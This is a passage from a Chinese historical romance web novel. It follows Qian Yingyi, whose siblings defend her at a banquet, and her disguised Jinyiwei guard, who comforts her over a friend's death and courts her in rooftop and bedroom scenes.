“至于映仪说什么青衣、花旦,”她环视那些矜贵太太小姐们,话里有话,“大家都爱听戏,这戏子唱腔婉转,想也是方才哪个说她唱过青衣,被我儿听了去,否则我儿又怎么会知道呢?是不是?” 此话既没供出那些小姐,又将矛头指向始作俑者。太太们心中长舒一口气,也忙顺势望向郭月,恍然道:“是啊郭小姐,这话头是你挑开的。” 郭月心中一连迭猛跳。她岂知钱映仪的兄姐来得这般巧!她轻咬着唇,势单力薄,只好把目光暗送给俞敏森。 俞敏森正是喜欢她,又哪里舍得供出她?料想自己是世子,钱映仪的兄姐再厉害也不敢拿自己怎么样,难不成真将他给送衙门严办? 因此他自认是大丈夫行径,站出来道:“和郭小姐没有关系,就是我干的!” 瑞王妃闭了闭眼,恨不能在这大花园里就打烂他的嘴! 钱玉幸闻言倏而点点头,“那就是承认了,世子无端端往我妹妹身上泼脏水,打算怎么收场呢?” 所有人的目光都盯着自己,俞敏森并不觉得自己惹了多少人不快,只向往常那般走到钱映仪身前敷衍道:“对不住。” 看得钱玉幸笑了,“没了?” 俞敏森不耐,“还想我怎样?” 钱玉幸目光在郭月身上流连一瞬,嗓音陡然放低,只有俞敏森能听见,“世子,别以为我看不出来你在替谁顶着,道歉讲究个真情实意。你的世子身份在我这不管用,你若是不令我妹妹满意,我不介意一鞭子把她也卷出来教训教训。” “现在的情况,无论是对世子,还是对她,都极为不利,世子可想清楚些。” 俞敏森咬牙切齿盯着她,又暗瞪始终垂着眼不说话的钱映仪。 为了郭月,他这时倒能忍气吞声了,霎时后退一步,深深朝钱映仪作揖,腰身渐弯,“映仪,是我小人之心欺负你,日后我定不会再如此,我以世子身份起誓。” 又向晏秋雁道:“晏小姐,对不住,搅和了你的生辰宴。” 瑞王妃终于忍不下去,猛然一拂袖,连声招呼也没打,径自押着俞敏森离众人而去。 张氏正是要这俞敏森给自己女儿道歉,如今神清气爽,便笑道:“行了,一场误会,没什么偷盗,这戏班子唱的戏我听着挺不错,快开席了,大家还请快些入席吧?” 言讫,张氏暗地里命两个丫鬟去搀璎娘,在无人瞧见的地方给璎娘塞了两个整锭的银子。 璎娘大惊一场,戏妆也哭得花了。自然不好再上场,因此强撑着吩咐戏班子换了一出戏唱。心头免不得也把高人一等的贵人们痛诉一顿。 这厢钱林野把媳妇任郁青安顿在钱玉幸身旁,便快步向晏松行去,随行的小厮忙送上三份礼。 钱林野道:“晏老,三年未见,您依旧精神抖擞,这些礼请务必收下,一则是为谢罪,我二妹妹心急替映仪出气,这才搅合了些。二则是为感谢,谢秋雁妹妹这几年总陪映仪一起玩,弥补了我们不在她身边的遗憾,三则是贺礼,今日是秋雁妹妹生辰,于情于理,我们都得表一表心意。” 晏松不当回事,笑着拍一拍他的肩,“方才看你媳妇那模样,你小子是要当爹了?雁雁和映仪关系融洽,我也把映仪当半个孙女疼,就算你们没来,我也是要站出来替她说话的,只是你们一来就当众打了瑞王妃的脸” 为官多年,晏松显然更在意这里头的弯弯绕绕,便见他低声问,“可是皇上要打压藩王?江南巡抚又是怎么一回事?” 钱林野仍挂着个笑,只道:“皇上是什么意思,我不知道。” 见他装糊涂,晏松也不好再追问。 而晏秋雁这头眼看钱映仪受了委屈,心内已是愧疚难言,连连懊悔自己不该把那玉桃拿出来送她,干脆一屁股往钱映仪身旁坐,旁的宾客也不去管了。 因钱映仪兄姐的到来,一场筵席下来,众人是各怀心思。 便说这燕文瑛,直至与燕如衡一并上了马车,才狠撂车帘,惊道:“巡抚?那余骋居然被任命巡抚?他要留在金陵查来查去的话,咱们的计划岂非要打乱重来?这消息务必立马回去告诉爹!” 燕如衡方才眼睁睁看着钱映仪言语机锋,说不出是什么感觉,有艳羡,也有欣赏。 而此刻饱胀的,是想抗争的心。其实俞敏森突生变故,他大也可以站出去替钱映仪辩解,那些官太太过了今日,依旧会将他与钱映仪说到一起。 燕如衡轻垂眼皮,落在膝头的手紧握成拳,倏道:“阿姐,我与映仪已经是朋友了。” 他不想再诓骗她。大约是抱着这样的心思,他后来才没有站出去。 燕文瑛一顿,仿佛是听懂了,唇畔噙着一抹冷冰冰的笑,“你想与她顺其自然走下去?想要个圆满?真喜欢上她了?揽获她的芳心要一年还是两年呢?” 她冷道:“爹的计划可不等你。 ” 燕如衡张了张嘴,想为自己辩解,想不再同流合污。 可话到嘴边,看着燕文瑛的脸,想及二人从前的姐弟情谊,从前那般美好的阖家欢,又给咽了回去。 燕文瑛哪能窥探不出他的优柔寡断,碍着心急回家与爹谈正事,干脆阖眼往车壁上靠,丢下一句:“男子汉大丈夫,做事拖泥带水,还拘泥于情爱,阿姐从前可没这样教过你。” “爹这辈子能不能调任去京师还是个未知数,你现在虽是个县丞,但若与她结为夫妻,难保你不往京师走。这事办得越早越好,你先想法子娶了她,再与她培养感情也是一样的。” “我要是个男人,定比你果断千万倍。” 午晌时分,日头正盛。马车驶过秦淮河岸,波光粼粼的河面回照进车帘缝隙里,照出燕文瑛那股雄心壮志,只是不过一瞬,马车就渐渐驶向另一头了。 再说回晏家这头,宾客尽散,剩钱映仪被晏秋雁抱着不撒手,止不住地向她表明歉意,又说要另寻个宝贝来送与她。 钱映仪被她逗笑,陪着哄了半日才得以脱身。 钱玉幸想多与妹妹说说话,便轻掣钱映仪的胳膊,拉着她往外头走,“多亏其羽那小子在家,说你在这,哥哥姐姐本来是想给你个惊喜,结果听到你被欺负,哼,今日是在别人家,我不好发作,那什么郭月,还有那些欺负你的小姐们,等着我慢慢找她们算账。” “哎唷,在别人家不要再说了囖。” 钱映仪使坏压了俞敏森一头,这会十分高兴,想到嫂嫂怀孕,忙扭头去望任郁青的小腹,眼神益发清亮。 任郁青说话十分温柔,也有些羞赧,“还小呢,看不大出来。” 几人笑闹走过垂花门,钱映仪仿佛才发觉少个人,旋即扭头问夏菱,“咦?林铮呢?” 夏菱四下睃寻一眼,在后头发觉侍卫高大的身影,便伸手一指,“在那儿呢!” 林铮?什么林铮?妹妹身边的侍卫不向来是叫小玳瑁?何时多了个林铮? 几人一齐扭头回望,顺着夏菱的指尖凝视那高大的身影,穿一件玄色箭袖直裰,单手持剑,眉目淡漠,发丝高束在头顶,取一支银簪固定,浑身透着冷厉锋锐之气,正不紧不慢跟在后面。 钱玉幸收回目光,胳膊揽过妹妹的肩,“身边何时换了人?” 钱映仪嘻嘻笑道:“他身手很不错呢,先前总有烦人精跟着我,家里的其他侍卫畏畏缩缩,爷爷便点了他跟着我,还是我捡回来的哩。” 钱玉幸点了点下颌,没再说什么。 没几时的功夫,一行人出了晏宅,如何来就如何回去。 辗转回琵琶巷已至下晌,门外一棵歪脖子树上有几只鸟雀正吟唱,钱兰亭早已得知消息匆匆归家,这会正侯在门房苦等。 一见几人就高兴得连眼角的褶子都要陷进鬓角里,“你们总算回来了,快让爷爷好好瞧瞧!” 钱玉幸也十分高兴,一手揽着钱映仪,一手搀着任郁青,忙不迭地就往钱兰亭跟前凑。 祖孙来来回回笑说好些话,钱映仪蓦然回望在卸东西的钱林野,“哥哥?咱们要进去啦,你与姐夫还不过来?” 钱林野立在太阳下,远远冲她笑,“我们两个大男人帮着干点活,你们先进去。” 于是钱映仪点了点头,一行人热热闹闹进去了。 渐渐的,小厮们搬完东西也紧跟着往宅子里头去。 钱林野倏地沉脸,反剪胳膊绕去角门一处隐蔽处,甫一站定,听见身后脚步声,猛然一拳头砸向身后那始终沉默不语的侍卫,“去你爹的,你怎么会在我妹妹身边?!” 仿佛是这一拳不够解气,他又倏拔侍卫腰间的剑! 侍卫生生受了,只是一言不发。 余骋亦是惊愕,忙上前截停钱林野的动作,撑开两方身形,望向侍卫的目光里布满防备,压低声音道:“秦指挥,你最好如实告知。” 秦离铮横着手背擦一擦唇角那丝血渍,语气里听不出喜怒,“除了替皇上办事,还能有别的?” 提及皇上,钱林野神色稍缓,又拧着眉问:“你替皇上办事,与我们家有何干系?难不成是皇上要查钱家?” 秦离铮道:“此处说话不方便。” 青年依旧从容不迫,自顾转背往外行去,钱林野压着心头的怒气跟在他身后,余骋亦是如此。 待赶至乐馆见了褚之言,秦离铮便将话说开,“早在年前,皇上就命我秘密前来金陵,皇上疑心应天府的燕榆与蔺边鸿有贪墨之行,所以命我彻查所有贪官污吏。” 余骋听得浓眉重叠:“那与你在映仪身边有什么关系?” 褚之言最是机灵,目光在秦离铮的嘴角停一停,心知他这伤应是钱林野打的,便讪笑道:“你们先听我说来,这都是误会,误会。” “我们指挥本是想设计被蔺边鸿带回去,岂知有些巧合,钱小姐先把他给捡了,为了完成皇上的任务,指挥只好留在钱小姐当个侍卫,以便接近他们。” 钱林野十分不喜这位锦衣卫指挥使,从前在京师见面时就闹过不愉快,岂能由他如此?便道:“皇上指派任务,你们去办就是,可别拿我家当幌子,秦指挥,你最好尽快离开我妹妹身边。” 秦离铮掀眼望向他,道:“你可知映仪已经被他们盯上了。” 这话叫钱林野一怔,连他唤“映仪”都没注意。与余骋对视一眼的间隙蓦地想通里头的利害关系,问,“他们当真贪墨?” 秦离铮挨个沏茶递去,“不光贪墨,在京师还有庇护伞,刻意盯上映仪” 他看着余骋道:“是因为余大人身居户部,若共乘一船,余大人就不得不利用职权之便包庇他们了。” 眼见二人沉思,秦离铮复又开口:“我提醒二位一句,江南巡抚巡的是整个江南,余大人在金陵不会久待,钱编修也是往扬州去,你们不在她身边,即便派再多的人手盯着,也不一定护得住她。” 钱林野猛然抬头盯着他。 秦离铮半扯唇畔的笑,话音言简意赅,“但我可以。” “我可以护住她。” 锦衣卫一惯心狠手辣,办事雷厉风行。秦离铮能爬到指挥使这个位置,无论是警惕性还是防人的手段,已然不是寻常人所能比及。 因此要说钱林野不动摇,是假的。 只是他听出更深层的意思,剔眉看向秦离铮,把他上下扫量。 俄延半晌,钱林野欲针锋相对的那股气势渐渐淡了,却仍要压他一头,警告道:“为了妹妹的安全,我暂且信你,你且查你的贪官污吏,若你有什么别的心思,别怪我不讲道理。” “在家里的这段时日,我会一直盯着你!” 言讫,拉着余骋起身往外头走,没走两步又被秦离铮叫停。 秦离铮不紧不慢走向二人,声音放得很轻,“事关重大,一个不慎传出风声,恐会打草惊蛇,我相信二位是不会往外多说一个字的。” 这哪是忠告,分明是明晃晃的威胁。钱林野毫不掩饰瞪他一眼,想及这任务重大,到底是默然应下了。 踅回钱宅已是暮色四合,饭桌上钱玉幸问起二人去了何处,余骋编了个借口应付过去,只说陪钱林野去了趟秦淮河岸,替任郁青寻了些安神静气的香。 任郁青的确吃不好也睡不好,整个人瞧着比钱玉幸要瘦,眼下这顿饭倒是多吃了些,钱林野看着也高兴。 再望向妹妹时,欲言又止的心思到底先摁下了。 毕竟此举于他而言,和帮着外人欺骗妹妹没什么区别,可妹妹最讨厌被骗他不愿 被妹妹讨厌。 因下晌就得知他们回来,钱兰亭提前就请了师傅扎了好些烟花,用罢晚膳,一家人就高高兴兴站在园子里赏漫天璀璨。 只是到底是舟车劳顿,不过半炷香的时间,几人就渐渐有些困乏。 不一时,大家各回各院,那烟花连着放了一阵,也逐渐停歇。 钱映仪面上挂着笑,脚步也轻快,回云滕阁时见丫鬟们还在干活,便忙使她们都下去休息了。 待院子里只剩她,便两三下爬上石桌,站得高高的,又摊开两条胳膊把空气里残存的烟花气味深深一嗅,要把这热闹统统吸进肚子里。 “见到哥哥姐姐,就这么高兴?” 钱映仪唬一跳,回身循声望去,侍卫正一步步向自己走来,片刻,停在石桌前,挡住了她要下来的路。 侍卫仰脸凝视着她,牵唇笑一笑,“嗯?小姐还在笑,是高兴替自己撑腰的人终于回来了吗?” 钱映仪下不去,只能垂眼看他两只手撑在自己裙边,使她局促站在这一小片天地,不由地把脚再往裙摆里缩一缩。 他仿佛只是随意撑着,却像是已经把她包围住。 “高兴,但不全是因为这个,”她没理由的声音渐小,“你能不能先让一让?” 秦离铮窥她有些红的耳廓,暗自好笑,站直身子往后退了几步。 钱映仪悄瞥他一眼,捉裙从石桌爬下来,顺手去拍裙摆那不存在的灰。 见她躲闪,想及她今日与燕如衡谈笑,秦离铮背在身后的指腹摩挲一阵,半晌,问,“今日为什么要替那个戏子说话?当时的情况于你不利。” 钱映仪道:“她虽有些贪图小利,可我把她也当作朋友了呀,是朋友,我当然要替她说话,我一猜就不是她偷的。” “如果小姐的兄姐今日没来,小姐会由他们欺负吗” 钱映仪握拳扬一扬,笑嘻嘻道:“那我一人也能反击,其实她们说我闲话,我都没有放在心上,但哥哥姐姐都来了,我也没理由自己憋着委屈受,所以才说她们在欺负我,俞敏森那边我也自有法子,我” “你不是一个人。” 秦离铮盯着她摇晃的耳坠,一晃一晃,把他心底的话也牵着晃了出来,“你还有我。” 钱映仪渐渐睁大眼,“你说什么?” 秦离铮深深吸气,抿了抿唇,道:“我说,你还有我,你不必自己动手,我可以替你教训他们。” 这话听在钱映仪耳朵里,总觉得有几分深藏的意思。大约心中有个猜想,可她不敢多想,还未生根发芽便及时掐断了,只道:“是、是啊,我还有你,你是我的侍卫,你不头一个帮我出头,还能有谁?” 岂知愈说愈不自在,她提裙往一旁走,意图避开他的身体,说话也胡言乱语起来,“你你你让开,我很忙,我现在要去看星星,我” “小姐想上哪看星星?”他又蓦然打断她。 钱映仪心头“噌”地冒火,料定他在刻意与自己作对,便道:“屋顶!我要去屋顶看星星,成不成?我现在就去搬梯子!你不许跟着我!” 言讫,她便一跺脚往西厢的杂屋走。 方走不过四五步,腰身陡然被一只手牢牢揽紧,下一刻,双脚已然悬空,翻天覆地一阵旋转,人已经坐在了屋顶上的青瓦上。 钱映仪惊愕得要叫出声,嘴唇又被那只手轻轻覆住,“嘘,别喊,让夏菱她们发现,还怎么看星星?” 她骇目圆睁看着他近在咫尺的脸,被迫嗅着他掌心里的薄荷气,忘了要说话。 秦离铮低垂着眼看她轻颤的睫毛,察觉她渐渐平静了些,才缓缓把手松开。 “忘了与小姐说,”他道:“梯子坏了。” 钱映仪好半晌都维持着沉默,良久才道:“你要吓死我,是不是?” 侍卫这回倒是没说话。 钱映仪扭头瞪他,发觉他正认真盯着半空的星河瞧,嘴唇轻翕片刻,只好也去看满天繁星。 大约是景色极美,又或是知道他会护着自己,钱映仪的身子渐渐放松下来,两条腿也往前伸着,一时倒有些惬意。 “你方才问我为何要帮璎娘,我说我把她当作朋友,”鬼使神差,她在此刻有了倾诉的欲望,“其实不尽然,我透过她想到了一位故人。” 秦离铮恐打断她向自己敞开心扉,便没吭声。细听片刻,才知她又提起那位卖米糕的阿姐。 这倒是她第二回在他面前提起,第一回,她浑然不知,喝醉了酒,这一回,她很清醒。 秦离铮心头倏软,静静听着她往下说。 “阿姐有个好听的名字,叫颜怜。” “那时恒王还未造反,封地离京师又近,恒王就时常带着世子到京师玩乐。” 钱映仪发怔地盯着一颗星,轻声道:“那时我只顾与怜姐姐玩,浑然不觉她有些不对劲,后来她与我说她要离开京师,我才知恒王世子那时盯上了她,时常派人去打扰她。” 她愈说,声音愈小:“怜姐姐只是个无权无势的平民百姓,如何与恒王世子斗?拒绝的话便是说出来也无用,我知道后,因实在舍不得她,便求她再多留一夜,我向她许诺,我会回家求祖母,求母亲,收她为我家的义女。” “我家那时在京师也算说得上话,我想,有我家的庇护,恒王世子再如何胆大妄为,也不敢公然与我家作对。” 说到此节,瓦片上传来“啪嗒”一声。 钱映仪横袖欲把眼泪擦一擦,不防眼前递来一张帕子,她登时有些鼻酸,整个人都陷进了回忆里。 “我磨了祖母大半夜,祖母总算答应,我便欢欢喜喜睡了过去。” “可可是第二日清晨,夏菱便与我说,”她终于忍不住掩面低泣,“怜姐姐在那个晚上死了。” 说起伤心过往,她几乎将整张脸都埋进了掌心里,却有一只大手将她轻掣起来。 钱映仪已是泪流满面,那帕子被她揉成一团,她想铺开擦一擦,倏然一条手臂伸过来。 “我不嫌弃小姐。”他道:“擦在我的衣裳上也没关系。” 钱映仪瘪着唇忍泪,到底没忍住把眼泪都抹在他的胳膊上,“我那时冲着要出去找她,却因大受打击当场晕了过去,醒来后,就听我娘和我说,夜里是有几个无赖冲进了怜姐姐的小院,怜姐姐被逼无路,这才自我了断。” “我知道,根本没有什么无赖盯着她,这一切都是恒王世子的阴谋,我恨不得去揭发他,可是没有证据。” 她哭得上气不接下气,干脆抱着他的胳膊去擦眼泪,“可是我更恨我自己,我若、若不留她,她就不会死,是我害死了她。” “是我” 也许这场心事在心底憋了许多年,今番突然说了出来,钱映仪是益发伤心。 秦离铮始终在一旁守着她,待她松开自己的胳膊,手便转去她的背后,轻轻替她顺着气。 “很奇怪,这个秘密我从前不想说,”渐渐地,钱映仪平复了些,勉强扯出个笑,“今天倒是就这样说出来了,好在苍天有眼,后来恒王造反未成,连带着恒王世子一起被处死,也算替怜姐姐报了仇。” 她不愿再哭,便把眼睛睁得大大的,去盯着半空的星星,“也许怜姐姐正在天上看我,这世上若真有神怪,我倒希望她来见我一面,骂我也好,打我也罢,这样我才能心安一些。” 秦离铮未想竟是这样一段沉重又压抑的过往,默然半晌,才安慰道:“别把恶人的罪行强揽在自己身上,你本来是好意,若你的怜姐姐有怨,在阴司与恒王世子遇见了,也会向阎王状告他的罪行,但我想,她应是不会怪你。” 他坐得离她稍后些,目光在她的侧颜久久停留,他想,他终于明白为何她不愿回京师。 不愿嫁人只是其一,令她真正排斥的,是这一段过往,或许她回到京师的那个家,只消走到角门,就能想起此事。 她的话本子里,总有些化身精怪为自己报仇的角色。 她的笔墨下,也总有些为恶行付出代价的男人。 她大约也是在通过这种方式提醒自己,不要忘了是自己间接造成这场悲剧。 也大约是为了自己的执念,把她的怜姐姐影射到每个角色身上,她的怜姐姐无法报仇,那她就要令她创造的每个角色去报仇。 现实没有回旋的余地,可话本子有。 她一直在逃避。 好在吐露心声后,钱映仪又放松不少,遥遥凝视天边,轻声道:“怜姐姐是被权贵欺压,璎娘也是,尽管二人遭遇不一样,可今日我只想,我一定要为璎娘说说话,我的力量虽微不足道,可我依旧想护好每个人。” “也包括我吗?”身后这人嗓音低低的。 钱映仪心头一跳,稍稍侧头去看他,“你、你说什么?” 看她霎时把情绪跳出来,秦离铮笑一笑,蓦然抬手去抽她的发簪,“逗你的,你看,是不是不那么想哭了?” 她忙伸手去夺,“哎唷,你干什么呢!还给我!” 秦离铮单手拦下她的抢夺,淡漠的眉眼平添上笑意,“别动,你看。” 他把暗藏在花瓣下的细弦拉出来,道:“你时常想护着这个,护着那个,可有想过自己呢?你说今日有我在,可我若是不在呢?想保护别人时,要先保护好自己。” “这根细弦,是我特意去找的,”钱映仪稍有惊愕看着他拨弄机关,听他沉沉的声音在耳畔响起:“遇上危险时,把它拉出来,可在无形中要了人的性命,我之所以把这机关告诉你,是因你总顾着别人。” “有时候也要学着多顾一顾自己,嗯?” “你你怎么”钱映仪肿胀的眼睛又有些酸涩,她是头一回听他说这么多的话,也是头一回听他说不加任何掩饰的话,更是没有料想他竟在她的簪子上暗加机关,于是哑了半晌,才道:“林铮,你是什么意思?” 说话犹带浓重的鼻音,却隐隐发颤。 秦离铮低低笑了两声,把簪子复又插回她的发髻里,“只是想说,你可以优先选择自己。” 年轻人为她簪发的动作很轻,轻得她险些感觉不出来。 夜风和煦,吹来大花园那头未完全消散的烟花气息,半空仿佛益发地亮,说不出是生出幻觉,见到了先前的烟花,还是眼眶酸涩,那些星星有重影。 “听明白了吗?” 话音入耳,声音轻轻的。钱映仪指腹悄然抓紧青瓦,好像不受控制的,在心里也放了一场烟花。 重重的,很响—— 作者有话说:诱捕计划第一步,先拉进和小姐的距离,表现得明显点。 映仪啊,先多为自己考虑一下~ 第27章 月色凝如明珠,繁星灿烂辉辉。钱映仪心中的烟花悄悄放了一场,留下余韵不散,她也稍稍侧头,看似在盯着一颗星星,实则用余光把他悄瞥。 因坐得高,隐隐得见外头仍然喧闹的街市。远远的秦淮河岸有醉酒笙歌,把酒言欢。 眼前这一下片天地却静静的,好像也有一个女人和一个男人要把彼此轻轻撕开一条口子,互相捡一捡真心。 可到底相顾无言,俄顷,她轻轻舒气,习惯性替自己排解尴尬,提着心去瞧他。 咦?他的嘴角何时有伤?先前都没注意。 于是她扑一扑睫毛,脑袋轻轻歪着,“你的伤怎么回事?” 她睫毛还湿漉漉的,这一眼没什么份量,落在秦离铮心头却千斤重,要把他压抑堆攒的心思全部掀翻。 他没避开她,正视她的目光,“心中有事,走路没看,撞柱子上了。” 钱映仪又不自觉去抠青瓦一角,待抠了些灰尘,手中似有所感,登时大惊失色,连连摸帕子去擦拭,“脏死了脏死了!” “小姐,”他的嗓音不知何时离她近了些,近得好像整个人都要贴上她的后背,“小姐不问问我心里在想什么?” 钱映仪眼珠子在指尖上来回滑了几圈,轻轻缩着肩,笑得发讪,“哈哈哈,你能有什么心事?你不是很厉害吗有心事就自己去解决和我说做什么我不太懂或许你去与小玳瑁说一说你们都是男人想必能分忧。” 她一口气说完不带停歇,心里那股奇奇怪怪的滋味益发明显,只想赶忙离开这个让她血液都灼烧的地方。 “我能不能下去?”她有些不愿回头,便反手拿手指去戳他,一戳手下触感温软,吓得她又忙把手收回。 身后这人轻嘶一声,半晌,嗓音低低的,道:“疼。” 钱映仪忙扭头去看,他正横着手背遮在嘴角,浓眉稍拧,仿佛她那一下真叫他疼得说不出话,她不自觉抿了抿唇,小声为自己辩解:“我没使劲。” 见他闭了闭眼,她又狐疑道:“真疼?” 秦离铮垂首默然,把下颌点一点,语气仿佛有些无奈,“我早说过,小姐手劲挺重。” 钱映仪把手缩进袖管子里,也许是躲避,她此刻神情有些讪讪,倒像个做错事的孩子,不再如从前那般娇纵,“那那对不住。” “小姐不必对我说这个,”秦离铮的话接得很快,目光紧锁她益发透红的耳垂,倏然把她的腕子攫住,往自己的脸上送,“方才我舍了衣裳替小姐拭泪,小姐这样做,也算抵平。” 钱映仪不设防下又摸到他的脸,慌张得连耳坠子都在不停摇晃,像要把她的心给晃出来。她挣脱不了,只能蜷起手指,由几个硬突突的指节抵在他脸上。 这下她也真有些急,开口就骂:“你抓我的手,你胆子真大,你要不要脸?” “只是有点疼,”他握着她的手不放,那几个指节便来回在他唇畔轻磨,呼吸喷在她的手指上,掀起一阵酥麻,“这样会好些。” 钱映仪觉得自己与他之间大抵都疯了,她愣愣看着他,他的眼睛并没再像方才那样盯住她,只是轻垂着眼皮,认真用她的手抚慰他的伤 “钱其羽!你还不睡做哪样!明日还要不要去府学了?” 另一处院落里,二婶婶正捉着弟弟催促。 钱映仪脑子里“轰”地一声,陡然回神,蛮横使劲把手从他的掌心里抽了出来。 脑袋也偏去一旁,语气很凶,但没什么底气,“我拿你一件衣裳擦眼泪,你就小气成这样,非要找回来,大不了我赔你一件,不,赔你两件就是了!” 她急迫想下去,可屋顶太高,她不敢往下跳,气得她又恶狠狠去瞪他,“你还不让我下去是不是!” “凶什么?”秦离铮好像仍是那副淡漠的神情,细看才会发觉他的眼梢有笑意。 他如站平地一般起身,垂眼盯着她,从她光洁的额头开始,一寸寸往下扫,牵出一丝笑,“小姐是气还是怕?是在气我带你上来看星星,不放你下去,还是在怕下去时,你我又不可避免要” “你闭嘴!”钱映仪“啊”地一声打断他,仰脸看他时神情稍有惊愕,不明白他今夜为何总说些有的没的。 恐被夏菱她们发觉自己与他在屋顶,牵扯出一些说不清的东西,她又忙将声音放低,“别的不许再多说一个字,你先把我弄下去。” 秦离铮点点头,朝她摊开两条胳膊。 钱映仪拧眉,“什么意思?” 秦离铮懒洋洋摊着双臂,“小姐若要下去,就只能由我抱一下,不是不愿意与我有接触?那就只能小姐自己选。” “手和腰,”他笑,“选一个。” 风起,卷起他的袍角,额上碎发也散落一绺,肆意的笑凝在他的唇畔,看得钱映仪益发心慌,心里开始后悔。好端端地,她胡说什么要看星星? 可眼下无法,她只得朝他伸手。他倒是接得快,在她伸出的刹那就 抓住了她。 钱映仪紧紧抓着他的胳膊,不可避免将整个人都紧贴着他,不忘警告他:“你要敢让我摔了,我现在就赶你走。” 秦离铮挑着唇角笑了两声,由她抓着自己,眨眼的功夫就带她稳稳落地。 钱映仪晃荡的裙摆骤然归位,她的心也跟着回来,霎时拥有源源不断的底气,扬手想给他一巴掌,掌心临近他的脸时,瞥见他嘴角的伤,又硬生生改为推搡他。 “小姐,做什么呢?”夏菱这时从西厢偏房探出个脑袋,隔老远望着,语气狐疑。 钱映仪气势汹汹盯着侍卫,心里有一股说不出的滋味在胡乱冲撞,撞得她心烦意乱,最终只道:“没什么!” 旋即扭头将自己关在了正屋里。 月洒清辉,满园子的花瓣凝着露水,一滴一滴坠下,钱其羽这皮猴好歹睡下,没几时渐响轻微的鼾声。许珺的院子灭了灯,归家的四人也陷进酣眠,夜色下,整座宅子都静了下来。 唯独钱映仪倒在帐子里翻来覆去。 天老爷,林铮他到底想干什么?他什么意思?钱映仪因他越矩的动作辗转难眠,亮锃锃的眼睛时不时往头顶上望。她晓得,他在。 她倏然有些不服气,哼,凭什么是她睡不着觉?她睡不着,他也别想! 于是她不作他想,直接开口:“林铮。” 屋顶被人叩响两声。 她狡黠的目色闪了闪,刻意叫他觉得自己有事寻他,料想他只能坐在屋顶干等,心头便痛快起来,于是翻身扑进被衾里,很有耐心地没有说话。 估摸过了半炷香,她把脸露出来,又喊他一声。 那声音依旧很快响起,好像他一直在等着她。 看着高高大大的一个人,平日闷不吭声,总板着个脸,好像谁欠他似的,还挺有耐心?钱映仪又把被衾往上拉一拉,只露出一双眼睛和额头,突然在此刻想到他说的话。 他瞧着嘴也没那么笨,还挺会安慰人。 他说什么来着?哦,要她多顾一顾自己,还有那发簪上的机关,他究竟为何要往她的簪子里做这些呢?她想问来着,只是被打断了。 她时常也有顾着自己呀,只是也想弥补一些遗憾罢了。怜姐姐的死一直盘踞在她心房的角落里,好像往上面扎了一根细细的针,提起来,疼得她连喊都喊不出口。 怜姐姐 她好想她。 钱映仪盯着头顶粉色的帐子出神,倏喊:“林铮。” 这回屋顶没有动静,她等了片刻,瘪一瘪唇,暗嗤他耐心也就这样,想着他的安慰到底起了些作用,便暂且搁下与他的“较量”,翻了翻身,欲把整张脸都埋进被衾里。 “吱呀。” 西墙轻轻传来一阵响,下一刻,轻浅的脚步声落地。钱映仪猛然坐起来,透过纱帐,紧紧盯着那道稍显模糊的身影。 她刚平静没多久的心又被迫提起。 “林铮,”她窃窃喊了声,“是你吗?” 半晌,那道身影往她这头走近些,珠帘被撩在他的肩头,碰撞出清脆的声音,“是我。” 知道是他,不是旁的什么偷鸡摸狗之人,钱映仪的心沉了沉,又震惊他居然就这样唐突闯进了自己的闺房,忙赶他走:“我叫你你就进来,你是傻的吗?太不像话,你快、快些出去。” 岂料他又往前走一步,“小姐连唤我三声,究竟有什么事?” 室内一火如豆,映着他的身影十分挺拔,透过朦朦纱帐,钱映仪察觉他的脸上好似有些不一样,遂用指尖挑开一角,偷偷窥去。 他静静站在那里,想是沐浴过,换了瑾瑜色箭袖圆领袍,腰间革带束得很紧,勒得腰十分窄,再往上瞧,竟在眼前绑了一条玄色丝带,衬得他的鼻尖益发高挺。 钱映仪陡然失语,半晌才开口说话,声音很轻:“这样绑着,就不怕摔跤又磕到哪?” 仗着他看不见,她把纱帐又掀开一点,语气听着很是扭捏,“我喊你,是有点想吃米糕了。” 这也是她隐藏的毛病,一旦提起怜姐姐,便十分想吃米糕,米糕甜甜的,好像当下吃进嘴里,心里也好受些。 秦离铮默然片刻,倏软嗓音,又像在哄她,“太晚了,阿婆早已收摊,明日一早我去买,行不行?” 说来奇怪,方才蝉还一声接一声鸣唱着,淅淅沥沥的雨声响起,钱映仪才恍觉竟然下雨了。 她悄悄看他,知道他总在屋顶守着自己,倏然想,她若赶他出去,他会傻到还在屋顶待着吗? 大约她的心里有什么东西在胀动,她已有些压不住,便没有任何理由地问,“你先前胆子不是很大,现在又为何要蒙着眼睛啊?” 钱映仪盯着他那两片薄薄的唇,连她自己都没发觉,她的目光隐含了一丝希冀。 也许是不想惊动谁,秦离铮的声音压得很低,“我这样,小姐会自在些。” 一语像挑动了钱映仪某处敏感的神经,她倏然把帐子合拢,片刻反应过来,他根本看不见她,那她在怕什么?于是这回,她干脆踩鞋下榻。 那股滋味她形容不出来,只晓得现在若是赶他出去,他兴许淋得浑身湿漉漉、脏兮兮的,就像她初次见他那一眼,实在太脏。 因此她随意往肩头披了件披风,满头发丝披在脑后,自顾去一旁沏茶喝。 可她无法避免自己忽视他的存在,她晓得,若叫人撞破他在自己的寝屋里,她浑身上下有十张嘴也与人说不清了。 她张了张嘴,听着外头坠在地面的雨声,那句赶他走的话实在说不出口。 温茶入喉,使钱映仪的嗓音益发清晰,她开始没话找话,“那就明日再买,嗳,你还挺会安慰人,跟谁学的?你常常安慰别人吗?” 那点黯淡的烛光将灭未灭,秦离铮似有所感,往亮的地方站一站,他的笑就无比清晰地落进钱映仪眼底,“不是嫌我不会说话?” 钱映仪看得出神,下意识答道:“我没有嫌你,我只是只是” 只是什么?钱映仪闭了闭眼,不敢再细想,她无端端生出一丝害怕,可到底在怕什么,一时半会很难说清。 她的目光自他的嘴唇往下掠,掠过他的腰身,不由自主地去看他的手。 都是这只手在作乱! 这一扫量,钱映仪又往前轻挪两步。怪哉,先前那两只戒指不是各带一只手?好端端地,又全戴在一只手上作甚! 窗外雨声阵阵,外间偶有低语,仿佛是夏菱在教勤学的小丫鬟打络子。 而那轻轻摇晃的烛火,也陡然熄灭。 料定他不会解下覆在眼睛上的带子,钱映仪借着微弱的光靠近,壮着胆子在他身前站定。 稍刻,她轻轻拉住他的手,手指去褪他的戒指,还小声给自己找补:“我不是说过,要整洁,要有序,伺候我这么久了,你还不明白我的习惯?” 她的嗓音在黑夜里有些轻颤,带着些许凉意的指尖在他的指骨间游走,把那戒指各自戴在他的食指上。 秦离铮敛息默然,恐惊扰她。 